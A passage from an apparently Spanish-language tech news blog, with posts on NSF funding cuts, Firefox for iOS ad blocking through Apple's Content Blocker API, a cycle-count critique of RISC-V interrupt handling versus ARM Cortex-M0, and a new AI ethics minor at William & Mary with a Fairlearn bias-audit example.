El efecto más citado por universidades y sociedades científicas es la pérdida de una generación de investigadores en formación. Las becas doctorales y los contratos postdoctorales financiados por el NSF suelen ser la puerta de entrada a una carrera académica en ciencias básicas; si esos fondos se cortan a mitad de camino, estudiantes de doctorado quedan sin financiamiento para terminar sus tesis y postdocs pierden el puesto que sostenía su investigación.

Hay también un efecto de fuga de talento: investigadores con financiamiento cortado buscan posiciones en universidades de otros países o en la industria privada, donde la IA sí atrae inversión masiva. Esto no es nuevo: episodios similares de recortes bruscos a agencias científicas en otros países (por ejemplo, recortes a la ciencia en el Reino Unido en la década de 2010) mostraron una salida sostenida de investigadores jóvenes hacia mercados con más estabilidad de financiamiento.
Becas doctorales y postdocs son los puestos más expuestos al recorte.

⚠️ Ojo: el corte de subvenciones activas a mitad de ciclo, no solo la reducción del presupuesto futuro, es lo que más preocupa a las universidades: rompe compromisos ya asumidos con personal contratado y equipo comprado contra esos fondos.

Desde la óptica de la industria de IA, el reacomodo del NSF suma un actor público más al financiamiento de investigación en aprendizaje automático, cómputo cuántico y biotecnología computacional, en un momento donde ya hay una inversión privada récord en el sector. El riesgo, según críticos del recorte, es que el NSF termine duplicando lo que el sector privado ya financia, mientras abandona las áreas donde el financiamiento público es insustituible porque no generan retorno comercial directo.

Qué sigue

El proceso presupuestario en Estados Unidos no termina con la propuesta del Ejecutivo. El Congreso debe aprobar las apropiaciones finales para el NSF, y en ciclos presupuestarios anteriores restauró una parte de los recortes propuestos a la agencia. Universidades, sociedades científicas y algunos legisladores ya presionan para revertir al menos parcialmente el ajuste, especialmente en los programas de becas doctorales.

En paralelo, el NSF sigue publicando convocatorias específicas ligadas a IA y cómputo cuántico bajo el paraguas del programa federal de IA para ciencia, así que el reparto real de fondos entre disciplinas se irá conociendo a medida que la agencia abra o cierre convocatorias durante el resto de 2026.

📖 Resumen en Telegram: Ver resumen

Probalo vos: corré el comando curl contra la API pública de NSF Award Search con el nombre de tu universidad o tu área de investigación para ver en vivo qué subvenciones perdieron financiamiento este año.

Preguntas frecuentes

¿El recorte del NSF ya es definitivo?

No. Es la propuesta de presupuesto del Ejecutivo para el año fiscal 2026. El Congreso aprueba las apropiaciones finales y en ciclos anteriores restauró parte de los fondos propuestos para el NSF.

¿Qué pasa con las subvenciones que ya estaban aprobadas?

Desde abril de 2025 el NSF terminó subvenciones activas antes de su fecha de expiración original, algo que afectó proyectos con personal ya contratado y equipo ya comprado con esos fondos.

¿Qué áreas reciben más fondos ahora?

Inteligencia artificial, cómputo cuántico y biotecnología son las áreas priorizadas. Ciencias sociales, del comportamiento y educación STEM concentran la mayor parte del recorte.

¿Por qué el NSF es distinto del NIH?

El NIH financia investigación biomédica. El NSF cubre disciplinas de ciencia básica sin fines médicos, como matemática, física, ecología, ciencias sociales e ingeniería, áreas donde la inversión privada suele ser escasa.

¿Cómo puedo consultar qué subvenciones se cancelaron?

El NSF expone una API pública de búsqueda de subvenciones en api.nsf.gov donde se puede filtrar por institución, palabra clave o fecha de expiración sin necesidad de credenciales.

¿Afecta esto a investigadores fuera de Estados Unidos?

De forma indirecta sí: colaboraciones internacionales financiadas parcialmente por el NSF pierden ese aporte, y la reducción de posiciones postdoctorales en EE.UU. cambia el mercado laboral académico global.

Referencias

NSF: sitio oficial de la National Science Foundation, con sus prioridades presupuestarias vigentes.- Wikipedia: historia, estructura y mandato de la agencia.- Research.gov: portal donde investigadores gestionan y consultan subvenciones federales de ciencia.- Casa Blanca: sitio oficial donde se publican las propuestas de presupuesto federal.

Firefox para iOS bloquea anuncios con la Content Blocker API de Apple

lu1tr0n — Sun, 16 Aug 2026 14:23:15 +0000

Firefox para iOS no puede bloquear anuncios como lo hace en tu computadora: en el iPhone es Apple quien decide que reglas puede aplicar cualquier navegador contra la publicidad.

La razon es una sola norma de Apple: todo navegador en iOS corre sobre WebKit, asi que ni Firefox ni Chrome traen su propio motor de bloqueo de peticiones. En su lugar dependen de los bloqueadores de contenido (content blockers), extensiones que Apple diseno para Safari y que Firefox adopto desde que llego a la App Store.

TL;DR

Apple exige que todo navegador en iOS use WebKit (App Store Review Guideline 2.5.6), lo que impide extensiones tipo webRequest.- Firefox para iOS usa la Content Blocker API de Apple, introducida en iOS 9 (2015), en vez del motor de WebExtensions de escritorio.- Los bloqueadores de contenido se activan desde Ajustes de iOS y luego se seleccionan dentro de Firefox, no al reves.- Apps compatibles conocidas: 1Blocker, AdGuard, Wipr y AdBlock Plus para iOS.- Las reglas de bloqueo son declarativas: un JSON estatico con trigger y action, no codigo que se ejecuta en cada peticion.- Firefox Focus, la app hermana de Mozilla, trae proteccion de rastreo integrada sin necesidad de instalar una extension aparte.- Desde iOS 17.4 (2024), el DMA de la Union Europea obliga a Apple a permitir motores de navegador alternativos, aunque solo en la UE.

Que son los bloqueadores de contenido y por que Firefox depende de ellos

En Windows, macOS o Linux, Firefox usa su propio motor Gecko y un sistema de extensiones que puede leer, modificar o cancelar cada peticion de red en tiempo real. Asi trabaja un bloqueador como uBlock Origin en escritorio: intercepta la peticion antes de que salga, la compara contra listas de filtros, y decide si la deja pasar.

En iOS eso es imposible. Las App Store Review Guidelines obligan a que cualquier app que muestre contenido web use el motor de renderizado del sistema, es decir WebKit, y prohiben que un navegador de terceros traiga su propio motor. Firefox para iOS por lo tanto no corre Gecko: corre WebKit, el mismo motor que Safari.

Como consecuencia, Firefox tampoco puede exponer la API webRequest que usan las extensiones de escritorio. Apple resolvio ese hueco con los bloqueadores de contenido: una categoria especial de extension de sistema que no ejecuta codigo mientras navegas, sino que entrega de antemano una lista de reglas en JSON. WebKit compila esa lista y la aplica el mismo, sin que la extension llegue a ver que paginas visitas. Es un diseno pensado para privacidad: el bloqueador nunca recibe tu historial de navegacion, solo declara reglas y el sistema operativo las ejecuta por su cuenta.
El filtrado ocurre dentro de WebKit, no dentro de la app de Firefox.

Contexto e historia

Apple introdujo el bloqueo de contenido en 2015 junto con iOS 9, primero exclusivo para Safari. Ese mismo ano aparecieron en la App Store las primeras apps de esta categoria, entre ellas 1Blocker y Crystal, aprovechando una API que hasta entonces no existia para terceros.

Firefox llego a iOS ese mismo noviembre de 2015, ya obligado a construirse sobre WebKit desde el primer dia: Mozilla no tenia alternativa, dado que Apple nunca permitio que Gecko corriera en el sistema. Con el tiempo, Mozilla sumo soporte para que los mismos bloqueadores de contenido pensados originalmente para Safari tambien pudieran activarse dentro de Firefox, algo que el usuario debe habilitar de forma manual porque no viene activado por defecto.

El escenario cambio parcialmente con el Digital Markets Act de la Union Europea: desde iOS 17.4, publicado en 2024, Apple permite que navegadores de terceros usen su propio motor de renderizado, pero unicamente para usuarios dentro de la UE y bajo un proceso de cumplimiento que ha hecho que la mayoria de navegadores, Firefox incluido, todavia no hayan migrado por completo. Fuera de la Union Europea, la obligacion de usar WebKit sigue intacta.

Detalles tecnicos: como funciona una regla de bloqueo

Un bloqueador de contenido no es un script que corre por cada peticion, es un archivo JSON con una lista de objetos trigger/action. El trigger describe que trafico debe coincidir (por dominio, por tipo de recurso, por expresion regular en la URL) y el action describe que hacer si coincide: bloquear la peticion completa, ocultar un elemento con CSS, o bloquear cookies.

El ejemplo minimo posible es una regla que bloquea absolutamente todo, util solo para probar que el mecanismo esta activo:

[
  {
    "trigger": { "url-filter": ".*" },
    "action": { "type": "block" }
  }
]

Ese bloque bloquea cualquier recurso que cargue la pagina, asi que en la practica solo sirve para verificar que un bloqueador de contenido esta corriendo. Una regla real es mas selectiva, apunta a dominios de publicidad conocidos y complementa el bloqueo con ocultamiento de elementos residuales:

[
  {
    "trigger": {
      "url-filter": "^https?://(www\\.)?googlesyndication\\.com",
      "resource-type": ["script", "image"]
    },
    "action": { "type": "block" }
  },
  {
    "trigger": {
      "url-filter": ".*",
      "if-domain": ["ejemplo-noticias.com"]
    },
    "action": {
      "type": "css-display-none",
      "selector": ".banner-publicidad, .anuncio-lateral"
    }
  }
]

La primera regla bloquea scripts e imagenes que vengan del dominio de anuncios de Google; la segunda no bloquea la peticion sino que oculta con CSS el contenedor del banner en un sitio especifico, util cuando el anuncio ya cargo pero dejo un hueco visual vacio.

📌 Nota: como las reglas se compilan antes de navegar, WebKit las aplica sin ejecutar JavaScript adicional por cada peticion. Eso evita el costo de tener un interprete corriendo en cada carga de pagina, pero tambien significa que el bloqueador no puede tomar decisiones dinamicas: no puede consultar una lista remota en vivo ni contar cuantas veces coincidio una regla mas alla de lo que la propia app muestre en su pantalla de estadisticas.

Como probarlo hoy

Activar bloqueadores de contenido en Firefox para iOS no requiere instalar nada por linea de comandos, es una app de iPhone o iPad. Los pasos:

Instala una app de bloqueador de contenido desde el App Store: 1Blocker, AdGuard o Wipr son las mas usadas.- Abre Ajustes del sistema iOS, no Firefox, y activa la extension dentro de la seccion de esa app (cada app de bloqueador trae su propio toggle en Ajustes).- Abre Firefox, entra a su menu de Ajustes y busca la opcion de bloqueo de contenido para seleccionar cual de los bloqueadores instalados usar.- Verifica abriendo un sitio con mucha publicidad y comparando contra el mismo sitio con el bloqueador desactivado; la mayoria de estas apps ademas muestran, en su propia pantalla, un contador de peticiones bloqueadas que confirma que la extension esta activa.

Los bloqueadores de contenido tambien se pueden combinar: activar mas de uno a la vez es posible en iOS, aunque algunas apps advierten que reglas superpuestas pueden romper el diseno de ciertos sitios si dos bloqueadores ocultan el mismo contenedor de formas distintas.
La activacion ocurre en Ajustes de iOS, no dentro de la app de Firefox.

Impacto y analisis

La limitacion de WebKit no es exclusiva de Firefox: afecta por igual a Chrome, Edge o cualquier otro navegador de terceros en iOS, porque todos comparten el mismo motor obligatorio. Lo que cambia entre apps es la interfaz para elegir el bloqueador, no el mecanismo subyacente.
OpcionCuando usarlaVentajaLimitacionBloqueador de contenido (1Blocker, AdGuard, Wipr)Navegacion dentro de Safari o Firefox en iOSReglas especificas por sitio, facil de pausar por dominioNo filtra anuncios dentro de apps nativas, solo trafico del navegadorPerfil DNS o VPN local (AdGuard DNS, NextDNS)Querer bloquear anuncios en todas las apps del telefonoCobertura a nivel de todo el sistema operativoOcupa la unica conexion VPN activa del dispositivo y no puede ocultar elementos CSSFirefox FocusSesiones de navegacion cortas y privadas sin configurar nadaProteccion de rastreo activada por defecto, sin instalar extension aparteNo maneja pestanas multiples, pensado para uso puntual
El trade-off real es que un bloqueador de contenido solo ve trafico que pasa por el motor de navegacion. Un anuncio que se muestra dentro de una app nativa, como el feed de una red social o un juego con un SDK de publicidad integrado, no pasa nunca por WebKit y por lo tanto ningun bloqueador de este tipo puede tocarlo. Ahi es donde entra el bloqueo a nivel de DNS o VPN, que filtra por dominio antes de que la conexion salga del dispositivo, sin importar que app la origino.

Tambien vale aclarar por que uBlock Origin nunca llego a iOS: su arquitectura depende de interceptar peticiones en tiempo real via webRequest, la misma API que Apple no expone a extensiones de terceros. No es una decision de Mozilla ni de la comunidad de uBlock, es una restriccion de plataforma que aplica igual a cualquier proyecto que intente portarlo.

Que sigue

El Digital Markets Act europeo abrio la puerta a que, dentro de la UE, un navegador como Firefox pueda algun dia correr con su propio motor Gecko en iOS y traer de vuelta extensiones tipo webRequest. Eso resolveria de raiz la limitacion descrita en este articulo, al menos para usuarios europeos, pero implica que Mozilla reconstruya y mantenga una version de iOS con un motor distinto al que ya corre en el resto del mundo, un esfuerzo de ingenieria considerable que hasta ahora ningun navegador mayor ha completado. Fuera de la Union Europea no hay ningun cambio regulatorio en curso que modifique el requisito de usar WebKit.

📖 Resumen en Telegram: Ver resumen

Probalo vos: instala 1Blocker o AdGuard desde el App Store, activalo en Ajustes de iOS y despues en Firefox, y abri una pagina con anuncios para ver la diferencia en menos de un minuto.

Preguntas frecuentes

¿Firefox para iOS usa el mismo motor que Firefox de escritorio?

No. En escritorio usa Gecko, el motor propio de Mozilla. En iOS esta obligado a usar WebKit por las reglas de Apple.

¿Necesito una extension especifica de Firefox o sirve cualquier bloqueador de Safari?

Sirve cualquier app de bloqueador de contenido instalada en el sistema. Se activa igual para Safari y para Firefox, cada uno con su propio selector.

¿Los bloqueadores de contenido filtran anuncios dentro de apps como Instagram o un juego?

No. Solo afectan al trafico que pasa por el motor de navegacion WebKit, no al que generan apps nativas con su propio SDK de publicidad.

¿Puedo usar uBlock Origin en Firefox para iOS?

No existe una version de uBlock Origin para iOS porque su funcionamiento depende de la API webRequest, que Apple no expone a extensiones de terceros en esa plataforma.

¿Cambia algo con la normativa europea del DMA?

En la Union Europea, Apple permite motores de navegador alternativos desde iOS 17.4, pero hasta ahora ningun navegador mayor migro por completo a su propio motor en esa region.

¿Como se si mi bloqueador de contenido esta realmente activo?

La mayoria de estas apps muestran un contador propio de peticiones bloqueadas en su pantalla principal; si ese contador sube al navegar, la extension esta funcionando.

Referencias

Mozilla Support: guia oficial sobre bloqueo de anuncios en Firefox para iOS.- Apple Developer: App Store Review Guidelines, seccion sobre requisitos de motor de navegacion.- Wikipedia: historia y version del motor de Firefox para iOS.- Wikipedia: Digital Markets Act y su efecto sobre motores de navegador alternativos en la UE.

📱 ¿Te gusta este contenido? Unete a nuestro canal de Telegram @programacion donde publicamos a diario lo mas relevante de tecnologia, IA y desarrollo. Resumenes rapidos, contenido fresco todos los dias.

RISC-V gasta 44 ciclos en una interrupción, Cortex-M0 solo 27

lu1tr0n — Sun, 16 Aug 2026 02:38:26 +0000

Guardar el contexto de una interrupción en un microcontrolador con RISC-V cuesta, en el mejor de los casos, 44 ciclos de reloj. Un núcleo ARM Cortex-M0, diseñado más de una década atrás, resuelve la misma tarea en 27 ciclos. Esa brecha, medida instrucción por instrucción, es el eje de una crítica técnica extensa que el ingeniero de sistemas embebidos Dmitry.GR publicó bajo el título "RISC-V: They Should Have Known Better".

El texto no ataca la idea de un conjunto de instrucciones (ISA) abierto y gratuito; apunta a decisiones concretas de diseño que, según el autor, dejan a los microcontroladores basados en RISC-V en desventaja frente a la competencia establecida en el segmento de bajo costo, justo el terreno donde el propio ecosistema RISC-V más promete crecer.

TL;DR

El ingeniero Dmitry.GR publicó una crítica técnica extensa a la arquitectura RISC-V titulada They Should Have Known Better.- En RV32I con Zicsr, guardar el contexto de una interrupción cuesta al menos 21 ciclos vía CSRRW y 19 stores individuales.- Restaurar los registros al salir de la interrupción suma al menos 20 ciclos más de loads individuales.- El costo mínimo total por interrupción en RV32I es de 44 ciclos, antes de ejecutar una sola línea de C.- ARM Cortex-M0 resuelve la entrada en 15 ciclos y la salida en 12: 27 ciclos en total, con el handler escrito directo en C.- Con RV32E (16 registros en vez de 32), el costo baja a 38 ciclos: aun así, un tercio más lento que Cortex-M0.- El autor señala que extensiones como CLIC nacieron para tapar esta debilidad del ISA base de RISC-V.- Pese a la crítica, el autor cree que RISC-V dominará los microcontroladores baratos, reemplazando al 8051.

Qué pasó

Dmitry.GR, un ingeniero conocido en la comunidad de sistemas embebidos por trabajos de ingeniería inversa de bajo nivel, publicó un ensayo extenso organizado en secciones como "Everything for Everyone", "Optionality", "Missing Obvious Pieces", "Ridiculous encoding" y "Alleged Fixes". El hilo conductor es que RISC-V, al intentar servir simultáneamente a supercomputadoras, servidores y microcontroladores de un dólar, termina sin ser óptimo para ninguno de esos casos de uso.

Su argumento central en la sección "Everything for Everyone" es simple: ninguna arquitectura puede ser la mejor opción para todo. Lo que necesita un procesador de gama alta es, en buena medida, opuesto a lo que necesita un núcleo barato orientado a ahorrar costos. El autor sostiene que esas decisiones no son solo de microarquitectura: terminan impactando el propio conjunto de instrucciones.

Para sostener el punto, describe el caso de uso típico de un microcontrolador barato: interconectar y reconfigurar bloques de hardware dedicados dentro de un chip mayor, como en un reproductor MP3, una tarjeta SD o una memoria USB. El trabajo pesado lo hace lógica dedicada; el núcleo solo prende registros y reacciona a eventos. Ahí importan dos cosas: latencia de interrupción baja y tamaño de código reducido, porque estos dispositivos suelen ejecutar desde ROM o RAM (no desde flash NOR, demasiado cara para producción masiva), donde la densidad de código pesa directamente en el costo del chip.
El caso de uso típico: reconfigurar bloques de hardware, no correr matemática pesada.

Contexto e historia

RISC-V nació en la Universidad de California, Berkeley, como un conjunto de instrucciones abierto y modular, y hoy lo gestiona la organización sin fines de lucro RISC-V International. A diferencia del modelo de licenciamiento propietario de ARM, cualquiera puede implementar un núcleo RISC-V sin pagar regalías por el ISA en sí.

Esa apertura viene acompañada de una filosofía de diseño particular: un ISA base mínimo (RV32I o RV64I) más un catálogo de extensiones opcionales que cada fabricante puede combinar según su caso de uso: M para multiplicación, A para atómicas, F y D para punto flotante, C para instrucciones comprimidas de 16 bits, y así sucesivamente. Existe también RV32E, una variante "embedded" que recorta el banco de registros de 32 a 16 para chips todavía más pequeños.

Uno de esos módulos opcionales es Zicsr, el que agrega las instrucciones para leer y escribir Control and Status Registers (CSR). Sin Zicsr no hay forma conforme a la especificación de manejar una interrupción, porque no existe ningún lugar temporal donde guardar un registro antes de empezar a salvar el resto. MIPS, para el mismo problema, reservó directamente dos registros de propósito exclusivo, $k0 y $k1. RISC-V, en cambio, resuelve esto con los CSR mscratch o sscratch, y solo si el núcleo implementa Zicsr.

Del lado de la competencia, ARM lleva más de diez años vendiendo Cortex-M0 como el núcleo de referencia para microcontroladores ultra baratos, con silicio maduro, herramientas consolidadas y un manejo de interrupciones resuelto en hardware desde el diseño original.

RISC-V interrupciones: detalles técnicos y rendimiento

El corazón del ensayo es un conteo de ciclos, instrucción por instrucción, de lo que le toma a un núcleo RV32I con Zicsr atender una interrupción y volver al código interrumpido, comparado con Cortex-M0. Ninguno de los dos es un núcleo fuera de orden: si sacan una instrucción por ciclo, ya es un buen resultado.

En RV32I, la entrada a la interrupción arranca con una CSRRW para guardar un registro temporal (por ejemplo t0) y obtener la dirección base donde se van a guardar los demás. Después hay que guardar, uno por uno, ra, sp, gp, tp, t1 a t6, y a0 a a7. Con otra CSRRW se recupera el valor original de t0 y también se guarda. Eso son, según el autor, al menos 21 ciclos.

// Prologo de interrupcion en RV32I + Zicsr (pseudo-ensamblador)
csrrw t0, mscratch, t0      // intercambia t0 con la base de guardado
sw    ra,  0(t0)
sw    sp,  4(t0)
sw    gp,  8(t0)
sw    tp,  12(t0)
sw    t1,  16(t0)
// ... t2-t6, a0-a7 siguen el mismo patron
csrrw t1, mscratch, t1      // recupera el t0 original y lo guarda
sw    t1,  76(t0)
jal   handler_interrupcion_en_c

A la salida, el proceso se invierte: una CSRRW para recuperar la dirección de guardado y 19 instrucciones load para restaurar cada registro, al menos 20 ciclos más. Sumando el JAL de entrada y el RET de salida, el autor calcula un costo mínimo de 44 ciclos antes de que se ejecute una sola línea del handler en C.

Cortex-M0 resuelve lo mismo con hardware dedicado: apila automáticamente los registros que la convención de llamada (ABI) considera volátiles en 15 ciclos al entrar, y los restaura en 12 ciclos al salir. El desarrollador escribe el handler directamente en C, sin ensamblador manual de por medio.

// Handler de interrupcion en Cortex-M0: sin prologo manual
void __attribute__((interrupt("IRQ"))) uart_rx_handler(void) {
    uint8_t byte = UART0->DR;
    ring_buffer_push(&rx_buffer, byte);
}

Con RV32E, que reduce el banco de 32 a 16 registros, el ahorro es de 6 ciclos en cada fase respecto a RV32I, según el propio cálculo del autor, lo que deja el costo total en 38 ciclos: todavía más de un tercio por encima de Cortex-M0.
NúcleoEntrada de interrupciónSalida de interrupciónTotal¿Ensamblador manual?RV32I + Zicsr21 ciclos (CSRRW + 19 stores)20 ciclos (CSRRW + 19 loads)44 ciclosSí, obligatorioRV32E + Zicsr6 ciclos menos que RV32I6 ciclos menos que RV32I38 ciclosSí, obligatorioARM Cortex-M015 ciclos (hardware)12 ciclos (hardware)27 ciclosNo, handler directo en C44 ciclos en RV32I contra 27 en Cortex-M0: la diferencia es 63%.
El texto señala además que la existencia de CLIC (Core-Local Interrupt Controller) y de extensiones propietarias de "fast IRQ" o auto-apilado en distintos fabricantes es, en sí misma, evidencia del problema: el ISA base obliga a cada vendedor a inventar silicio no estándar para alcanzar la paridad con un Cortex-M0 de una década de antigüedad, lo que a su vez fragmenta el propio estándar.

flowchart TD
    A["Interrupcion de hardware"] --> B{"Nucleo"}
    subgraph RV32I ["RISC-V RV32I + Zicsr"]
    C["CSRRW guarda contexto: 21 ciclos"] --> D["JAL a handler en C"]
    D --> E["Handler ejecuta en C"]
    E --> F["Restaura con loads: 20 ciclos"]
    F --> G["RET al codigo interrumpido"]
    end
    subgraph CM0 ["ARM Cortex-M0"]
    H["Hardware apila registros: 15 ciclos"] --> I["Handler ejecuta en C"]
    I --> J["Hardware restaura: 12 ciclos"]
    end
    B -->|"RISC-V"| C
    B -->|"Cortex-M0"| H

💭 Clave: el problema no es que RISC-V carezca de una solución rápida para interrupciones, sino que esa solución no forma parte del ISA base: cada fabricante la resuelve a su manera, y el código deja de ser portable entre núcleos RISC-V distintos.

Cómo probarlo

Podés verificar este análisis vos mismo compilando un handler mínimo y leyendo el ensamblador generado con objdump. Primero hace falta un toolchain cruzado para RISC-V.

# Linux (Debian/Ubuntu)
sudo apt install gcc-riscv64-unknown-elf gdb-multiarch

# macOS (Homebrew)
brew tap riscv-software-src/riscv
brew install riscv-tools

# Windows (via xPack, requiere Node.js)
npm install --global xpm@latest
xpm install --global @xpack-dev-tools/riscv-none-elf-gcc@latest

Con el toolchain instalado, compilá un handler de interrupción simple y desensamblalo:

riscv64-unknown-elf-gcc -march=rv32i_zicsr -mabi=ilp32 \
  -O2 -c interrupt_handler.c -o interrupt_handler.o

riscv64-unknown-elf-objdump -d interrupt_handler.o | less

En la salida vas a ver la secuencia de csrrw seguida de una cadena de instrucciones sw (store word) en el prólogo, y su espejo de instrucciones lw (load word) en el epílogo. Contar esas líneas es, literalmente, reproducir el cálculo de ciclos del artículo original.

Impacto y análisis

La consecuencia práctica más citada del ensayo es la fragmentación. Si cada fabricante de silicio RISC-V necesita su propia extensión de interrupciones rápidas para competir con Cortex-M0, el código de un handler deja de ser portable entre un chip de SiFive, uno de Espressif y uno de otro proveedor, aunque todos digan "RISC-V" en la caja.

Hay una contrapartida real en el diseño de RV32E: reducir el banco de registros de 32 a 16 mejora la densidad de código y el costo del prólogo de interrupción, pero también reduce cuánto puede mantener el compilador en registros durante código normal, lo que puede aumentar el tráfico hacia la pila en funciones con muchas variables locales. No es una mejora gratis: es un cambio de balance.

⚠️ Ojo: comparar cifras de ciclos entre arquitecturas distintas depende del compilador, las banderas de optimización y la implementación exacta del núcleo. Los números de este artículo son los que reporta el autor original con su propio conteo manual, no un benchmark estandarizado.

Qué sigue

RISC-V International sigue ratificando extensiones orientadas a interrupciones rápidas, entre ellas CLIC, con el objetivo declarado de estandarizar lo que hoy resuelven implementaciones propietarias caso por caso. El propio Dmitry.GR es explícito en que esto no condena a RISC-V en el segmento de microcontroladores baratos: predice que terminará desplazando al 8051, no por la calidad de su ISA, sino porque 8051 es un piso todavía más bajo. El debate de fondo (si conviene un ISA con casi todo opcional o uno con menos partes pero mejor resueltas de fábrica) sigue abierto en la comunidad de sistemas embebidos.

📖 Resumen en Telegram: Ver resumen

Probalo vos: instalá el toolchain de RISC-V, compilá un handler de interrupción con -march=rv32i_zicsr y contá los sw/lw del prólogo con objdump -d para ver estos 44 ciclos con tus propios ojos.

Preguntas frecuentes

¿Qué es RISC-V?

Es un conjunto de instrucciones (ISA) abierto y modular, gestionado por RISC-V International, que cualquier fabricante puede implementar sin pagar regalías por el diseño del ISA en sí.

¿Qué diferencia hay entre RV32I y RV32E?

RV32I es el ISA base de 32 bits con 32 registros de propósito general. RV32E es una variante pensada para microcontroladores muy pequeños que recorta el banco a 16 registros para ahorrar área de silicio.

¿Por qué RISC-V no apila registros automáticamente como Cortex-M0?

Porque el ISA base no incluye esa función en hardware: cada fabricante decide si la implementa mediante una extensión propia, lo que genera soluciones distintas entre núcleos.

¿Qué es la extensión Zicsr?

Es el conjunto de instrucciones para leer y escribir Control and Status Registers. Sin ella no hay forma conforme a la especificación de manejar interrupciones en RISC-V.

¿RISC-V va a reemplazar a ARM en microcontroladores baratos?

Según el propio autor de la crítica, sí, pero en el segmento de microcontroladores de un solo uso desplazará principalmente al 8051, no porque su ISA sea superior, sino porque el 8051 parte de una base todavía más antigua.

¿Dónde puedo leer la crítica completa?

El ensayo original, escrito por Dmitry.GR, está publicado en dmitry.gr.

Referencias

RISC-V: They Should Have Known Better, por Dmitry.GR: el ensayo original con el conteo de ciclos completo.- RISC-V International: organización que gestiona las especificaciones del ISA RISC-V.- RISC-V en Wikipedia: historia y estado actual del proyecto.- riscv-gnu-toolchain en GitHub: repositorio oficial para compilar el toolchain cruzado.- ARM Cortex-M0: página oficial del núcleo usado como comparación en el artículo.

William & Mary lanza una minor que une filosofía y ética de la IA

lu1tr0n — Sat, 15 Aug 2026 16:19:34 +0000

William & Mary, una de las universidades más antiguas de Estados Unidos, anunció una nueva minor que combina ciencias de la computación con filosofía aplicada en un solo plan de estudios. La ética de la ia deja de ser un seminario optativo de una tarde y pasa a ser una secuencia de cursos obligatorios para quienes completen el programa.

La decisión llega mientras empresas y gobiernos discuten cómo auditar el comportamiento de los modelos antes de que lleguen a producción. Según su propio anuncio, la universidad busca formar perfiles que entiendan tanto el código como las preguntas normativas detrás de él.

TL;DR

William & Mary anunció una nueva minor interdisciplinaria que une ciencias de la computación y filosofía aplicada.- El programa exige a estudiantes de computación cursar ética aplicada y a estudiantes de filosofía programar modelos de ia.- La minor se suma a iniciativas ya existentes como Embedded EthiCS de Stanford y el programa SERC del MIT.- Herramientas abiertas como Fairlearn y AIF360 permiten auditar sesgo algorítmico sin construir un modelo desde cero.- La demanda de perfiles híbridos entre ética e ingeniería de ia crece a medida que más empresas despliegan llms en producción.- William & Mary no publicó cifras de inscripción ni fecha exacta de inicio de cursos en el anuncio original.

Qué pasó

William & Mary, fundada en 1693, confirmó en su sitio oficial el lanzamiento de una minor que combina, en un mismo plan de estudios, materias del departamento de ciencias de la computación y del departamento de filosofía. La propuesta no es un curso aislado de "ia y sociedad": es una secuencia de materias que un estudiante de computación cursa junto a estudiantes de filosofía, y viceversa.

El objetivo declarado por la universidad es que quien programe un modelo entienda las preguntas normativas que plantea la ética de la ia (a quién beneficia, a quién perjudica, qué supuestos arrastra el dato de entrenamiento) y que quien las plantee entienda también las limitaciones técnicas reales de un sistema de aprendizaje automático, no una versión simplificada de cómo funciona.
La minor combina cursos de ambos departamentos en una sola secuencia obligatoria.

Contexto e historia

La idea de enseñar ética dentro de una carrera técnica, y no como un curso aparte y opcional, no nace en William & Mary. El antecedente más citado es Embedded EthiCS, el programa de Stanford que inserta módulos de filosofía directamente dentro de cursos de estructuras de datos, inteligencia artificial o sistemas distribuidos, en lugar de aislarlos en una materia de humanidades. El MIT tiene un programa equivalente, Social and Ethical Responsibilities of Computing (SERC), que exige a estudiantes de computación reflexionar sobre el impacto social de lo que construyen antes de graduarse.

Lo distinto en el caso de William & Mary es el formato: en vez de insertar módulos de ética dentro de materias técnicas ya existentes, la universidad crea una minor formal, con crédito académico propio, que aparece en el título del estudiante. Es una apuesta institucional más fuerte que un módulo optativo: certifica que ese estudiante completó una secuencia específica de ética aplicada a sistemas de ia, no solo que la escuchó una tarde.

El momento del anuncio tampoco es casual. La discusión pública sobre sesgo algorítmico y comportamiento no previsto de modelos de lenguaje en producción lleva años instalada en medios generalistas, no solo en publicaciones técnicas. Universidades que forman a la próxima generación de ingenieros de ia enfrentan presión creciente para no entregar solo competencia técnica, sino también criterio para decidir cuándo un sistema no debería desplegarse.

💭 Clave: una minor con crédito propio obliga a completar una secuencia entera de cursos, no un taller aislado. Eso cambia el incentivo del estudiante: no es una anécdota para el currículum, es una certificación formal.

Ética de la ia en código: cómo se audita el sesgo

La parte técnica de programas como este no se queda en la discusión filosófica. Auditar un modelo por sesgo es un problema medible, con métricas concretas y herramientas open source que cualquier desarrollador puede correr hoy contra su propio pipeline.

Las métricas más usadas comparan el comportamiento del modelo entre grupos definidos por un atributo sensible (género, edad, región, etc.). No existe una única métrica "correcta": cada una mide algo distinto y, en general, no es matemáticamente posible satisfacerlas todas a la vez sobre el mismo modelo.
MétricaQué mideCuándo usarlaLimitaciónParidad demográficaQue la tasa de predicciones positivas sea igual entre gruposCuando el objetivo es igualdad de acceso (ej. aprobación de crédito)Puede forzar al modelo a ignorar diferencias reales relevantes entre gruposIgualdad de oportunidades (equalized odds)Que la tasa de falsos positivos y falsos negativos sea igual entre gruposCuando el costo de un error varía según el contextoMás difícil de optimizar sin sacrificar precisión generalFairness individualQue individuos similares reciban predicciones similaresCuando importa la consistencia caso por casoRequiere definir una métrica de "similitud", que ya es una decisión de diseñoFairness contrafactualQue la predicción no cambie si solo se altera el atributo sensibleCuando existe un modelo causal razonable del dominioExige un modelo causal explícito, raro en la práctica
En la práctica, un equipo de ingeniería no elige a mano un número: usa una librería que calcula estas métricas sobre las predicciones reales del modelo. Fairlearn, mantenida por Microsoft y la comunidad open source, es la opción más extendida en Python.

pip install fairlearn
python -c "import fairlearn; print(fairlearn.__version__)"

Ese primer paso solo confirma que la librería está instalada y responde. La auditoría real ocurre cuando se corre contra las predicciones de un modelo ya entrenado, con un atributo sensible identificado en el dataset:

from fairlearn.metrics import MetricFrame, demographic_parity_difference
from sklearn.metrics import accuracy_score

metric_frame = MetricFrame(
    metrics=accuracy_score,
    y_true=y_test,
    y_pred=y_pred,
    sensitive_features=genero_solicitante
)

dpd = demographic_parity_difference(
    y_true=y_test,
    y_pred=y_pred,
    sensitive_features=genero_solicitante
)

print("Precisión por grupo:", metric_frame.by_group)
print("Diferencia de paridad demográfica:", dpd)

Un valor de dpd cercano a cero indica que el modelo aprueba o rechaza casos a tasas similares entre grupos. Un valor alejado de cero no prueba por sí solo que el modelo sea injusto, pero sí es la señal que dispara una revisión manual antes de aprobar el despliegue.
Un pipeline típico corre la métrica de fairness antes de aprobar el despliegue a producción.

flowchart TD
